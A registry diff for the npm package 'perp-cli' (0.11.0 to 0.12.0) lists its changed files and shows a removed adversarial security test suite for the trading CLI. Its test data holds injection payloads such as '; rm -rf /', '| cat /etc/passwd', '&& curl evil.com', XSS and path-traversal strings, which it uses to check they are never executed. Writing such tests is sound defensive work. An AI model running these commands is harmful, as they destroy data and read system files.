perp-cli 0.11.0 → 0.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (240) hide show
  1. package/README.md +30 -25
  2. package/dist/_stderr-filter.d.ts +0 -0
  3. package/dist/_stderr-filter.js +30 -0
  4. package/dist/agent-wallet/expiry.d.ts +15 -0
  5. package/dist/agent-wallet/expiry.js +26 -0
  6. package/dist/agent-wallet/lighter-keystore.d.ts +34 -0
  7. package/dist/agent-wallet/lighter-keystore.js +232 -0
  8. package/dist/agent-wallet/passphrase.d.ts +13 -0
  9. package/dist/agent-wallet/passphrase.js +54 -0
  10. package/dist/agent-wallet/signing-strategy.d.ts +67 -0
  11. package/dist/agent-wallet/signing-strategy.js +51 -0
  12. package/dist/agent-wallet/store.d.ts +37 -0
  13. package/dist/agent-wallet/store.js +172 -0
  14. package/dist/api/public/_http.d.ts +15 -0
  15. package/dist/api/public/_http.js +24 -0
  16. package/dist/api/public/hyperliquid.js +36 -24
  17. package/dist/api/public/lighter.d.ts +7 -1
  18. package/dist/api/public/lighter.js +85 -37
  19. package/dist/api/public/pacifica.js +47 -18
  20. package/dist/bridge-engine.js +102 -49
  21. package/dist/cli-spec.js +1 -2
  22. package/dist/commands/account.js +2 -500
  23. package/dist/commands/agent.d.ts +8 -2
  24. package/dist/commands/agent.js +1903 -366
  25. package/dist/commands/alerts.js +3 -1
  26. package/dist/commands/arb/index.js +37 -7
  27. package/dist/commands/arb-auto.js +44 -11
  28. package/dist/commands/arb.js +83 -34
  29. package/dist/commands/bot.d.ts +1 -1
  30. package/dist/commands/bot.js +18 -14
  31. package/dist/commands/bridge.d.ts +1 -1
  32. package/dist/commands/bridge.js +4 -4
  33. package/dist/commands/funds.d.ts +1 -1
  34. package/dist/commands/funds.js +18 -68
  35. package/dist/commands/jobs.d.ts +1 -1
  36. package/dist/commands/jobs.js +2 -2
  37. package/dist/commands/manage.d.ts +1 -1
  38. package/dist/commands/manage.js +12 -84
  39. package/dist/commands/plan.d.ts +1 -1
  40. package/dist/commands/plan.js +2 -2
  41. package/dist/commands/portfolio.d.ts +19 -3
  42. package/dist/commands/portfolio.js +747 -163
  43. package/dist/commands/rebalance.d.ts +1 -1
  44. package/dist/commands/rebalance.js +18 -12
  45. package/dist/commands/risk.js +2 -6
  46. package/dist/commands/settings.js +30 -53
  47. package/dist/commands/trade.js +16 -15
  48. package/dist/commands/wallet.d.ts +2 -1
  49. package/dist/commands/wallet.js +756 -28
  50. package/dist/errors.d.ts +64 -0
  51. package/dist/errors.js +82 -2
  52. package/dist/event-stream.js +12 -1
  53. package/dist/exchanges/aster-typed-data.d.ts +156 -0
  54. package/dist/exchanges/aster-typed-data.js +189 -0
  55. package/dist/exchanges/aster.d.ts +60 -11
  56. package/dist/exchanges/aster.js +278 -136
  57. package/dist/exchanges/hyperliquid.d.ts +14 -0
  58. package/dist/exchanges/hyperliquid.js +84 -34
  59. package/dist/exchanges/lighter-spot.js +14 -3
  60. package/dist/exchanges/lighter.d.ts +66 -0
  61. package/dist/exchanges/lighter.js +199 -27
  62. package/dist/exchanges/pacifica-typed-data.d.ts +75 -0
  63. package/dist/exchanges/pacifica-typed-data.js +74 -0
  64. package/dist/exchanges/pacifica.d.ts +29 -1
  65. package/dist/exchanges/pacifica.js +94 -6
  66. package/dist/funding/rates.js +59 -21
  67. package/dist/guardrail/perp-guardrail.js +9 -1
  68. package/dist/index.d.ts +1 -1
  69. package/dist/index.js +255 -360
  70. package/dist/jobs.js +3 -1
  71. package/dist/mcp-server.js +85 -83
  72. package/dist/position-history.js +47 -4
  73. package/dist/settings.d.ts +67 -3
  74. package/dist/settings.js +1 -2
  75. package/dist/signer/ows-evm.d.ts +14 -0
  76. package/dist/signer/ows-evm.js +28 -9
  77. package/dist/smart-order.d.ts +8 -2
  78. package/dist/smart-order.js +46 -11
  79. package/dist/strategies/funding-arb.js +29 -8
  80. package/dist/trade-validator.js +30 -5
  81. package/dist/utils.d.ts +10 -0
  82. package/dist/utils.js +19 -0
  83. package/package.json +2 -2
  84. package/skills/perp-cli/SKILL.md +23 -14
  85. package/skills/perp-cli/references/agent-operations.md +6 -4
  86. package/skills/perp-cli/references/commands.md +55 -34
  87. package/skills/perp-cli/scripts/preflight.sh +4 -4
  88. package/skills/perp-cli/scripts/spot-perp-scan.sh +2 -2
  89. package/dist/__tests__/alert-logic.test.d.ts +0 -1
  90. package/dist/__tests__/alert-logic.test.js +0 -107
  91. package/dist/__tests__/arb-auto-3dex.test.d.ts +0 -1
  92. package/dist/__tests__/arb-auto-3dex.test.js +0 -397
  93. package/dist/__tests__/arb-history-stats.test.d.ts +0 -1
  94. package/dist/__tests__/arb-history-stats.test.js +0 -176
  95. package/dist/__tests__/arb-logic.test.d.ts +0 -1
  96. package/dist/__tests__/arb-logic.test.js +0 -84
  97. package/dist/__tests__/arb-manage.test.d.ts +0 -1
  98. package/dist/__tests__/arb-manage.test.js +0 -253
  99. package/dist/__tests__/arb-new-features.test.d.ts +0 -1
  100. package/dist/__tests__/arb-new-features.test.js +0 -457
  101. package/dist/__tests__/arb-sizing.test.d.ts +0 -1
  102. package/dist/__tests__/arb-sizing.test.js +0 -48
  103. package/dist/__tests__/arb-state.test.d.ts +0 -1
  104. package/dist/__tests__/arb-state.test.js +0 -284
  105. package/dist/__tests__/arb-userflow.test.d.ts +0 -1
  106. package/dist/__tests__/arb-userflow.test.js +0 -945
  107. package/dist/__tests__/arb-utils.test.d.ts +0 -1
  108. package/dist/__tests__/arb-utils.test.js +0 -264
  109. package/dist/__tests__/bot-conditions.test.d.ts +0 -1
  110. package/dist/__tests__/bot-conditions.test.js +0 -341
  111. package/dist/__tests__/client-id-tracker.test.d.ts +0 -1
  112. package/dist/__tests__/client-id-tracker.test.js +0 -137
  113. package/dist/__tests__/commands/new-atomic-commands.test.d.ts +0 -1
  114. package/dist/__tests__/commands/new-atomic-commands.test.js +0 -502
  115. package/dist/__tests__/commands/order-intent.test.d.ts +0 -1
  116. package/dist/__tests__/commands/order-intent.test.js +0 -600
  117. package/dist/__tests__/commands/trade-commands.test.d.ts +0 -1
  118. package/dist/__tests__/commands/trade-commands.test.js +0 -821
  119. package/dist/__tests__/config.test.d.ts +0 -1
  120. package/dist/__tests__/config.test.js +0 -86
  121. package/dist/__tests__/cross-chain-margin.test.d.ts +0 -1
  122. package/dist/__tests__/cross-chain-margin.test.js +0 -287
  123. package/dist/__tests__/dex-asset-map.test.d.ts +0 -1
  124. package/dist/__tests__/dex-asset-map.test.js +0 -191
  125. package/dist/__tests__/errors.test.d.ts +0 -1
  126. package/dist/__tests__/errors.test.js +0 -110
  127. package/dist/__tests__/event-stream.test.d.ts +0 -1
  128. package/dist/__tests__/event-stream.test.js +0 -276
  129. package/dist/__tests__/exchanges/interface.test.d.ts +0 -1
  130. package/dist/__tests__/exchanges/interface.test.js +0 -132
  131. package/dist/__tests__/exchanges/mock-adapter.d.ts +0 -69
  132. package/dist/__tests__/exchanges/mock-adapter.js +0 -137
  133. package/dist/__tests__/execution-log.test.d.ts +0 -1
  134. package/dist/__tests__/execution-log.test.js +0 -106
  135. package/dist/__tests__/funding-calc.test.d.ts +0 -1
  136. package/dist/__tests__/funding-calc.test.js +0 -71
  137. package/dist/__tests__/funding-history.test.d.ts +0 -1
  138. package/dist/__tests__/funding-history.test.js +0 -343
  139. package/dist/__tests__/funding-rates.test.d.ts +0 -1
  140. package/dist/__tests__/funding-rates.test.js +0 -342
  141. package/dist/__tests__/funding.test.d.ts +0 -1
  142. package/dist/__tests__/funding.test.js +0 -173
  143. package/dist/__tests__/gap-logic.test.d.ts +0 -1
  144. package/dist/__tests__/gap-logic.test.js +0 -43
  145. package/dist/__tests__/hip3-dex.test.d.ts +0 -1
  146. package/dist/__tests__/hip3-dex.test.js +0 -234
  147. package/dist/__tests__/integration/agent-features.integration.test.d.ts +0 -1
  148. package/dist/__tests__/integration/agent-features.integration.test.js +0 -553
  149. package/dist/__tests__/integration/atomic-commands.integration.test.d.ts +0 -13
  150. package/dist/__tests__/integration/atomic-commands.integration.test.js +0 -246
  151. package/dist/__tests__/integration/bridge-simulation.integration.test.d.ts +0 -1
  152. package/dist/__tests__/integration/bridge-simulation.integration.test.js +0 -453
  153. package/dist/__tests__/integration/bridge-strict.integration.test.d.ts +0 -1
  154. package/dist/__tests__/integration/bridge-strict.integration.test.js +0 -812
  155. package/dist/__tests__/integration/bridge.integration.test.d.ts +0 -1
  156. package/dist/__tests__/integration/bridge.integration.test.js +0 -309
  157. package/dist/__tests__/integration/cli-e2e.integration.test.d.ts +0 -1
  158. package/dist/__tests__/integration/cli-e2e.integration.test.js +0 -202
  159. package/dist/__tests__/integration/dex-arb.integration.test.d.ts +0 -1
  160. package/dist/__tests__/integration/dex-arb.integration.test.js +0 -116
  161. package/dist/__tests__/integration/envelope-consistency.integration.test.d.ts +0 -13
  162. package/dist/__tests__/integration/envelope-consistency.integration.test.js +0 -205
  163. package/dist/__tests__/integration/hip3-dex.integration.test.d.ts +0 -1
  164. package/dist/__tests__/integration/hip3-dex.integration.test.js +0 -147
  165. package/dist/__tests__/integration/hyperliquid.integration.test.d.ts +0 -1
  166. package/dist/__tests__/integration/hyperliquid.integration.test.js +0 -79
  167. package/dist/__tests__/integration/lighter.integration.test.d.ts +0 -1
  168. package/dist/__tests__/integration/lighter.integration.test.js +0 -53
  169. package/dist/__tests__/integration/new-commands-e2e.integration.test.d.ts +0 -9
  170. package/dist/__tests__/integration/new-commands-e2e.integration.test.js +0 -236
  171. package/dist/__tests__/integration/order-verification.integration.test.d.ts +0 -1
  172. package/dist/__tests__/integration/order-verification.integration.test.js +0 -321
  173. package/dist/__tests__/integration/pacifica.integration.test.d.ts +0 -1
  174. package/dist/__tests__/integration/pacifica.integration.test.js +0 -75
  175. package/dist/__tests__/integration/response-shapes.integration.test.d.ts +0 -1
  176. package/dist/__tests__/integration/response-shapes.integration.test.js +0 -278
  177. package/dist/__tests__/liquidity.test.d.ts +0 -1
  178. package/dist/__tests__/liquidity.test.js +0 -225
  179. package/dist/__tests__/plan-executor.test.d.ts +0 -1
  180. package/dist/__tests__/plan-executor.test.js +0 -314
  181. package/dist/__tests__/position-history.test.d.ts +0 -1
  182. package/dist/__tests__/position-history.test.js +0 -367
  183. package/dist/__tests__/retry.test.d.ts +0 -1
  184. package/dist/__tests__/retry.test.js +0 -310
  185. package/dist/__tests__/risk-assessment.test.d.ts +0 -1
  186. package/dist/__tests__/risk-assessment.test.js +0 -288
  187. package/dist/__tests__/security-adversarial.test.d.ts +0 -1
  188. package/dist/__tests__/security-adversarial.test.js +0 -574
  189. package/dist/__tests__/strategies.test.d.ts +0 -1
  190. package/dist/__tests__/strategies.test.js +0 -539
  191. package/dist/__tests__/trade-execution.test.d.ts +0 -1
  192. package/dist/__tests__/trade-execution.test.js +0 -129
  193. package/dist/__tests__/trade-validator.test.d.ts +0 -1
  194. package/dist/__tests__/trade-validator.test.js +0 -655
  195. package/dist/__tests__/utils.test.d.ts +0 -1
  196. package/dist/__tests__/utils.test.js +0 -76
  197. package/dist/arb/reconcile.d.ts +0 -28
  198. package/dist/arb/reconcile.js +0 -162
  199. package/dist/commands/alert.d.ts +0 -2
  200. package/dist/commands/alert.js +0 -421
  201. package/dist/commands/analytics.d.ts +0 -3
  202. package/dist/commands/analytics.js +0 -311
  203. package/dist/commands/arb-manage.d.ts +0 -5
  204. package/dist/commands/arb-manage.js +0 -5
  205. package/dist/commands/dashboard.d.ts +0 -3
  206. package/dist/commands/dashboard.js +0 -176
  207. package/dist/commands/deposit.d.ts +0 -4
  208. package/dist/commands/deposit.js +0 -573
  209. package/dist/commands/dex.d.ts +0 -3
  210. package/dist/commands/dex.js +0 -120
  211. package/dist/commands/env.d.ts +0 -2
  212. package/dist/commands/env.js +0 -136
  213. package/dist/commands/funding.d.ts +0 -3
  214. package/dist/commands/funding.js +0 -554
  215. package/dist/commands/gap.d.ts +0 -2
  216. package/dist/commands/gap.js +0 -305
  217. package/dist/commands/health.d.ts +0 -2
  218. package/dist/commands/health.js +0 -67
  219. package/dist/commands/multileg.d.ts +0 -16
  220. package/dist/commands/multileg.js +0 -174
  221. package/dist/commands/ows.d.ts +0 -2
  222. package/dist/commands/ows.js +0 -887
  223. package/dist/commands/pnl.d.ts +0 -12
  224. package/dist/commands/pnl.js +0 -243
  225. package/dist/commands/run.d.ts +0 -3
  226. package/dist/commands/run.js +0 -202
  227. package/dist/commands/stream.d.ts +0 -5
  228. package/dist/commands/stream.js +0 -200
  229. package/dist/commands/withdraw.d.ts +0 -3
  230. package/dist/commands/withdraw.js +0 -187
  231. package/dist/exchanges/edgex.d.ts +0 -62
  232. package/dist/exchanges/edgex.js +0 -552
  233. package/dist/exchanges/nado.d.ts +0 -52
  234. package/dist/exchanges/nado.js +0 -223
  235. package/dist/funding/index.d.ts +0 -3
  236. package/dist/funding/index.js +0 -3
  237. package/dist/retry.d.ts +0 -74
  238. package/dist/retry.js +0 -129
  239. package/dist/ws/market-feed.d.ts +0 -74
  240. package/dist/ws/market-feed.js +0 -227
@@ -1,574 +0,0 @@
1
- /**
2
- * Adversarial / Security Tests — "Ethical Hacker" Mode
3
- *
4
- * Tests what happens when a malicious or careless human/agent tries to:
5
- * 1. Inject shell commands via arguments
6
- * 2. Pass extreme/malformed values (NaN, Infinity, negative, huge)
7
- * 3. Use special chars, unicode, path traversal in symbols
8
- * 4. Leak private keys via error messages
9
- * 5. Break JSON envelope with crafted inputs
10
- * 6. Exploit prototype pollution or type confusion
11
- * 7. Exhaust resources with huge limits
12
- */
13
- import { describe, it, expect, vi, beforeEach } from "vitest";
14
- import { Command } from "commander";
15
- import { registerTradeCommands } from "../commands/trade.js";
16
- import { registerMarketCommands } from "../commands/market.js";
17
- import { registerAccountCommands } from "../commands/account.js";
18
- import { classifyError, PerpError } from "../errors.js";
19
- import { jsonOk, jsonError, symbolMatch } from "../utils.js";
20
- // ── Mocks ──
21
- vi.mock("../execution-log.js", () => ({ logExecution: vi.fn() }));
22
- vi.mock("../client-id-tracker.js", () => ({
23
- generateClientId: vi.fn(() => "test-id"),
24
- logClientId: vi.fn(),
25
- isOrderDuplicate: vi.fn(() => false),
26
- }));
27
- vi.mock("../trade-validator.js", () => ({
28
- validateTrade: vi.fn().mockResolvedValue({ valid: true, checks: [], warnings: [] }),
29
- }));
30
- function mockAdapter(overrides) {
31
- return {
32
- name: "test-exchange",
33
- marketOrder: vi.fn().mockResolvedValue({ orderId: "m1" }),
34
- limitOrder: vi.fn().mockResolvedValue({ orderId: "l1" }),
35
- stopOrder: vi.fn().mockResolvedValue({ orderId: "s1" }),
36
- cancelOrder: vi.fn().mockResolvedValue({ success: true }),
37
- cancelAllOrders: vi.fn().mockResolvedValue({ cancelled: 0 }),
38
- editOrder: vi.fn().mockResolvedValue({ success: true }),
39
- setLeverage: vi.fn().mockResolvedValue({ leverage: 10 }),
40
- getPositions: vi.fn().mockResolvedValue([]),
41
- getOpenOrders: vi.fn().mockResolvedValue([]),
42
- getBalance: vi.fn().mockResolvedValue({
43
- equity: "10000", available: "8000", marginUsed: "2000", unrealizedPnl: "0",
44
- }),
45
- getMarkets: vi.fn().mockResolvedValue([]),
46
- getOrderbook: vi.fn().mockResolvedValue({
47
- bids: [["100", "1"]], asks: [["101", "1"]],
48
- }),
49
- getRecentTrades: vi.fn().mockResolvedValue([]),
50
- getFundingHistory: vi.fn().mockResolvedValue([]),
51
- getKlines: vi.fn().mockResolvedValue([]),
52
- getOrderHistory: vi.fn().mockResolvedValue([]),
53
- getTradeHistory: vi.fn().mockResolvedValue([]),
54
- getFundingPayments: vi.fn().mockResolvedValue([]),
55
- ...overrides,
56
- };
57
- }
58
- function createTradeProgram(adapter, json = false) {
59
- const program = new Command();
60
- program.exitOverride();
61
- program.configureOutput({ writeOut: () => { }, writeErr: () => { } });
62
- registerTradeCommands(program, async () => adapter, () => json);
63
- return program;
64
- }
65
- function createMarketProgram(adapter, json = false) {
66
- const program = new Command();
67
- program.exitOverride();
68
- program.configureOutput({ writeOut: () => { }, writeErr: () => { } });
69
- registerMarketCommands(program, async () => adapter, () => json);
70
- return program;
71
- }
72
- function createAccountProgram(adapter, json = false) {
73
- const program = new Command();
74
- program.exitOverride();
75
- program.configureOutput({ writeOut: () => { }, writeErr: () => { } });
76
- registerAccountCommands(program, async () => adapter, () => json);
77
- return program;
78
- }
79
- async function run(program, args) {
80
- const log = vi.spyOn(console, "log").mockImplementation(() => { });
81
- const err = vi.spyOn(console, "error").mockImplementation(() => { });
82
- try {
83
- await program.parseAsync(["node", "perp", ...args]);
84
- return { logCalls: log.mock.calls, errCalls: err.mock.calls };
85
- }
86
- finally {
87
- log.mockRestore();
88
- err.mockRestore();
89
- }
90
- }
91
- function getJsonOutput(calls) {
92
- for (const call of calls) {
93
- try {
94
- return JSON.parse(String(call[0]));
95
- }
96
- catch { /* not JSON */ }
97
- }
98
- return null;
99
- }
100
- beforeEach(() => vi.clearAllMocks());
101
- // ══════════════════════════════════════════════════════════════
102
- // 1. COMMAND INJECTION VIA ARGUMENTS
103
- // ══════════════════════════════════════════════════════════════
104
- describe("Command injection attempts", () => {
105
- const injections = [
106
- '; rm -rf /',
107
- '$(whoami)',
108
- '`whoami`',
109
- '| cat /etc/passwd',
110
- '&& curl evil.com',
111
- '\n rm -rf /',
112
- '"; DROP TABLE orders; --',
113
- '<script>alert(1)</script>',
114
- '{{7*7}}', // template injection
115
- '${process.env.SECRET}', // env var interpolation
116
- '__proto__',
117
- 'constructor',
118
- ];
119
- it("symbol field: injection strings are passed as-is to adapter (not executed)", async () => {
120
- for (const payload of injections) {
121
- const adapter = mockAdapter();
122
- const program = createTradeProgram(adapter);
123
- try {
124
- await run(program, ["trade", "market", payload, "buy", "0.1"]);
125
- }
126
- catch {
127
- // Commander may reject some chars — that's fine
128
- }
129
- // If adapter was called, verify the payload was passed as a string, not executed
130
- if (adapter.marketOrder.mock.calls.length > 0) {
131
- const calledSymbol = adapter.marketOrder.mock.calls[0][0];
132
- expect(typeof calledSymbol).toBe("string");
133
- // The important thing: it's uppercased string, not a shell command result
134
- expect(calledSymbol).toBe(payload.toUpperCase());
135
- }
136
- }
137
- });
138
- it("client-id: injection strings don't break JSON output", async () => {
139
- const adapter = mockAdapter();
140
- const program = createTradeProgram(adapter, true);
141
- const { logCalls } = await run(program, [
142
- "trade", "market", "BTC", "buy", "0.1",
143
- "--client-id", '"; DROP TABLE orders; --',
144
- ]);
145
- const output = getJsonOutput(logCalls);
146
- // Must be valid JSON — no injection broke the envelope
147
- expect(output).toBeDefined();
148
- expect(output.ok).toBe(true);
149
- });
150
- });
151
- // ══════════════════════════════════════════════════════════════
152
- // 2. EXTREME / MALFORMED VALUES
153
- // ══════════════════════════════════════════════════════════════
154
- describe("Extreme and malformed numeric values", () => {
155
- it("size = 0: passed to adapter as-is (adapter decides validity)", async () => {
156
- const adapter = mockAdapter();
157
- const program = createTradeProgram(adapter);
158
- await run(program, ["trade", "market", "BTC", "buy", "0"]);
159
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "buy", "0");
160
- });
161
- it("size = negative: Commander interprets '-1' as unknown option flag (known edge case)", async () => {
162
- const adapter = mockAdapter();
163
- const program = createTradeProgram(adapter);
164
- // Commander parses "-1" as a flag, not an argument — this is expected behavior
165
- // Agents/users must NOT pass negative sizes
166
- try {
167
- await run(program, ["trade", "market", "BTC", "buy", "-1"]);
168
- }
169
- catch (e) {
170
- expect(e.message).toContain("unknown option");
171
- }
172
- // Adapter should NOT be called
173
- expect(adapter.marketOrder).not.toHaveBeenCalled();
174
- });
175
- it("size = NaN string: passed to adapter as-is", async () => {
176
- const adapter = mockAdapter();
177
- const program = createTradeProgram(adapter);
178
- await run(program, ["trade", "market", "BTC", "buy", "NaN"]);
179
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "buy", "NaN");
180
- });
181
- it("size = Infinity: passed to adapter as-is", async () => {
182
- const adapter = mockAdapter();
183
- const program = createTradeProgram(adapter);
184
- await run(program, ["trade", "market", "BTC", "buy", "Infinity"]);
185
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "buy", "Infinity");
186
- });
187
- it("size = absurdly large number: no crash", async () => {
188
- const adapter = mockAdapter();
189
- const program = createTradeProgram(adapter);
190
- await run(program, ["trade", "market", "BTC", "buy", "999999999999999999999"]);
191
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "buy", "999999999999999999999");
192
- });
193
- it("size = tiny decimal: no precision loss as string", async () => {
194
- const adapter = mockAdapter();
195
- const program = createTradeProgram(adapter);
196
- await run(program, ["trade", "market", "BTC", "buy", "0.000000001"]);
197
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "buy", "0.000000001");
198
- });
199
- it("price = 0 in limit order: passed through", async () => {
200
- const adapter = mockAdapter();
201
- const program = createTradeProgram(adapter);
202
- await run(program, ["trade", "limit", "BTC", "buy", "0", "1"]);
203
- expect(adapter.limitOrder).toHaveBeenCalledWith("BTC", "buy", "0", "1");
204
- });
205
- it("leverage = 0: doesn't crash", async () => {
206
- const adapter = mockAdapter();
207
- const program = createTradeProgram(adapter);
208
- await run(program, ["trade", "leverage", "BTC", "0"]);
209
- expect(adapter.setLeverage).toHaveBeenCalledWith("BTC", 0, "cross");
210
- });
211
- it("leverage = 99999: passed through", async () => {
212
- const adapter = mockAdapter();
213
- const program = createTradeProgram(adapter);
214
- await run(program, ["trade", "leverage", "BTC", "99999"]);
215
- expect(adapter.setLeverage).toHaveBeenCalledWith("BTC", 99999, "cross");
216
- });
217
- it("reduce percent = 0: errorAndExit", async () => {
218
- const adapter = mockAdapter({
219
- getPositions: vi.fn().mockResolvedValue([
220
- { symbol: "BTC", side: "long", size: "1", entryPrice: "100000", markPrice: "100000", liquidationPrice: "90000", unrealizedPnl: "0", leverage: 10 },
221
- ]),
222
- });
223
- const program = createTradeProgram(adapter, true);
224
- // percent <= 0 should error
225
- try {
226
- await run(program, ["trade", "reduce", "BTC", "0"]);
227
- }
228
- catch {
229
- // errorAndExit calls process.exit which throws in test
230
- }
231
- });
232
- it("reduce percent = 101: errorAndExit", async () => {
233
- const adapter = mockAdapter();
234
- const program = createTradeProgram(adapter, true);
235
- try {
236
- await run(program, ["trade", "reduce", "BTC", "101"]);
237
- }
238
- catch {
239
- // errorAndExit calls process.exit
240
- }
241
- });
242
- });
243
- // ══════════════════════════════════════════════════════════════
244
- // 3. SPECIAL CHARACTERS & UNICODE IN SYMBOLS
245
- // ══════════════════════════════════════════════════════════════
246
- describe("Special characters and unicode in symbols", () => {
247
- const weirdSymbols = [
248
- "", // empty
249
- " ", // space
250
- "../../etc/passwd",
251
- "BTC\x00ETH", // null byte
252
- "BTC\nETH", // newline
253
- "BTC\tETH", // tab
254
- "🚀MOON", // emoji
255
- "A".repeat(10000), // very long
256
- "<img src=x onerror=alert(1)>", // XSS
257
- "BTC&symbol=ETH", // query param injection
258
- "%00%0d%0a", // URL encoding
259
- ];
260
- it("weird symbols don't crash market mid", async () => {
261
- for (const sym of weirdSymbols) {
262
- if (!sym.trim())
263
- continue; // Commander rejects truly empty args
264
- const adapter = mockAdapter();
265
- const program = createMarketProgram(adapter, true);
266
- try {
267
- await run(program, ["market", "mid", sym]);
268
- }
269
- catch {
270
- // Commander may reject — that's OK
271
- }
272
- // Key: no unhandled exceptions, no process crash
273
- }
274
- });
275
- it("symbolMatch is safe with regex-special characters", () => {
276
- // These should not throw even though they contain regex specials
277
- const regexSpecials = ["BTC+PERP", "ETH.*", "SOL[0]", "DOT(1)", "BTC|ETH", "ATOM\\d+"];
278
- for (const sym of regexSpecials) {
279
- expect(() => symbolMatch(sym, "BTC")).not.toThrow();
280
- expect(() => symbolMatch("BTC", sym)).not.toThrow();
281
- }
282
- });
283
- });
284
- // ══════════════════════════════════════════════════════════════
285
- // 4. PRIVATE KEY LEAKAGE IN ERROR MESSAGES
286
- // ══════════════════════════════════════════════════════════════
287
- describe("Private key leakage prevention", () => {
288
- it("classifyError does not include stack traces with key material", () => {
289
- // Simulate an error that might contain a key
290
- const fakeKey = "0x1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef";
291
- const err = new Error(`Failed to sign with key ${fakeKey}`);
292
- const classified = classifyError(err);
293
- // The message field will contain the raw error — this is a known issue to flag
294
- // But the code should be SIGNATURE_FAILED, not UNKNOWN
295
- expect(classified.code).toBe("SIGNATURE_FAILED");
296
- });
297
- it("jsonError output does not expose internal stack traces", () => {
298
- const err = jsonError("FATAL", "Something went wrong");
299
- const json = JSON.stringify(err);
300
- // Should not contain file paths or stack traces
301
- expect(json).not.toContain("node_modules");
302
- expect(json).not.toContain("at Object.");
303
- expect(json).not.toContain(".ts:");
304
- });
305
- it("jsonOk output only contains data, not env vars", () => {
306
- const data = { balance: "100", secret: process.env.HOME };
307
- const result = jsonOk(data);
308
- const json = JSON.stringify(result);
309
- // The data field contains what we put in — that's expected
310
- // But jsonOk itself should not inject env vars
311
- expect(result.ok).toBe(true);
312
- expect(result.meta?.timestamp).toBeDefined();
313
- // meta should only have timestamp, not env vars
314
- const metaKeys = Object.keys(result.meta ?? {});
315
- expect(metaKeys).not.toContain("env");
316
- expect(metaKeys).not.toContain("process");
317
- });
318
- });
319
- // ══════════════════════════════════════════════════════════════
320
- // 5. JSON ENVELOPE INTEGRITY ATTACKS
321
- // ══════════════════════════════════════════════════════════════
322
- describe("JSON envelope integrity", () => {
323
- it("jsonOk with circular reference throws on stringify, not silently corrupts", () => {
324
- const obj = { a: 1 };
325
- obj.self = obj; // circular
326
- const result = jsonOk(obj);
327
- expect(() => JSON.stringify(result)).toThrow(); // TypeError: circular
328
- });
329
- it("jsonOk with undefined values: JSON.stringify drops them cleanly", () => {
330
- const result = jsonOk({ value: undefined, name: "test" });
331
- const json = JSON.stringify(result);
332
- const parsed = JSON.parse(json);
333
- expect(parsed.data.name).toBe("test");
334
- // undefined is dropped by JSON.stringify
335
- expect("value" in parsed.data).toBe(false);
336
- });
337
- it("jsonError with very long message doesn't crash", () => {
338
- const longMsg = "A".repeat(100000);
339
- const result = jsonError("FATAL", longMsg);
340
- expect(result.ok).toBe(false);
341
- expect(result.error?.message.length).toBe(100000);
342
- // Should still be valid JSON
343
- const json = JSON.stringify(result);
344
- const parsed = JSON.parse(json);
345
- expect(parsed.ok).toBe(false);
346
- });
347
- it("jsonOk with __proto__ key doesn't cause prototype pollution", () => {
348
- const evil = JSON.parse('{"__proto__": {"polluted": true}}');
349
- const result = jsonOk(evil);
350
- const json = JSON.stringify(result);
351
- const parsed = JSON.parse(json);
352
- // The parsed object should NOT have polluted the prototype
353
- expect({}.polluted).toBeUndefined();
354
- expect(parsed.data.__proto__).toBeDefined(); // It's just a regular key
355
- });
356
- it("jsonOk with constructor key is safe", () => {
357
- const result = jsonOk({ constructor: "evil", toString: "override" });
358
- const json = JSON.stringify(result);
359
- const parsed = JSON.parse(json);
360
- expect(parsed.data.constructor).toBe("evil");
361
- // Object constructor should not be overridden
362
- expect(typeof ({}).constructor).toBe("function");
363
- });
364
- });
365
- // ══════════════════════════════════════════════════════════════
366
- // 6. INVALID SIDE PARAMETER
367
- // ══════════════════════════════════════════════════════════════
368
- describe("Invalid side parameter", () => {
369
- it("side = 'BUY' (uppercase) still works (lowercased internally)", async () => {
370
- const adapter = mockAdapter();
371
- const program = createTradeProgram(adapter);
372
- await run(program, ["trade", "market", "BTC", "BUY", "0.1"]);
373
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "buy", "0.1");
374
- });
375
- it("side = 'SELL' (uppercase) still works", async () => {
376
- const adapter = mockAdapter();
377
- const program = createTradeProgram(adapter);
378
- await run(program, ["trade", "market", "BTC", "SELL", "0.1"]);
379
- expect(adapter.marketOrder).toHaveBeenCalledWith("BTC", "sell", "0.1");
380
- });
381
- it("side = 'long' triggers errorAndExit", async () => {
382
- const adapter = mockAdapter();
383
- const program = createTradeProgram(adapter);
384
- try {
385
- await run(program, ["trade", "market", "BTC", "long", "0.1"]);
386
- }
387
- catch {
388
- // errorAndExit calls process.exit
389
- }
390
- expect(adapter.marketOrder).not.toHaveBeenCalled();
391
- });
392
- it("side = '' (empty) triggers errorAndExit", async () => {
393
- const adapter = mockAdapter();
394
- const program = createTradeProgram(adapter);
395
- try {
396
- await run(program, ["trade", "market", "BTC", "", "0.1"]);
397
- }
398
- catch {
399
- // Commander may handle this
400
- }
401
- expect(adapter.marketOrder).not.toHaveBeenCalled();
402
- });
403
- });
404
- // ══════════════════════════════════════════════════════════════
405
- // 7. ERROR CLASSIFICATION ROBUSTNESS
406
- // ══════════════════════════════════════════════════════════════
407
- describe("Error classification edge cases", () => {
408
- it("classifyError handles null", () => {
409
- const result = classifyError(null);
410
- expect(result.code).toBeDefined();
411
- expect(typeof result.message).toBe("string");
412
- });
413
- it("classifyError handles undefined", () => {
414
- const result = classifyError(undefined);
415
- expect(result.code).toBeDefined();
416
- });
417
- it("classifyError handles number", () => {
418
- const result = classifyError(42);
419
- expect(result.message).toBe("42");
420
- });
421
- it("classifyError handles object without message", () => {
422
- const result = classifyError({ status: 500 });
423
- expect(result.code).toBeDefined();
424
- });
425
- it("classifyError handles empty string", () => {
426
- const result = classifyError(new Error(""));
427
- expect(result.code).toBe("UNKNOWN");
428
- });
429
- it("classifyError handles very long error message", () => {
430
- const longMsg = "x".repeat(100000);
431
- const result = classifyError(new Error(longMsg));
432
- expect(result.message.length).toBe(100000);
433
- });
434
- it("classifyError handles error with nested cause", () => {
435
- const inner = new Error("inner insufficient balance");
436
- const outer = new Error("Outer error", { cause: inner });
437
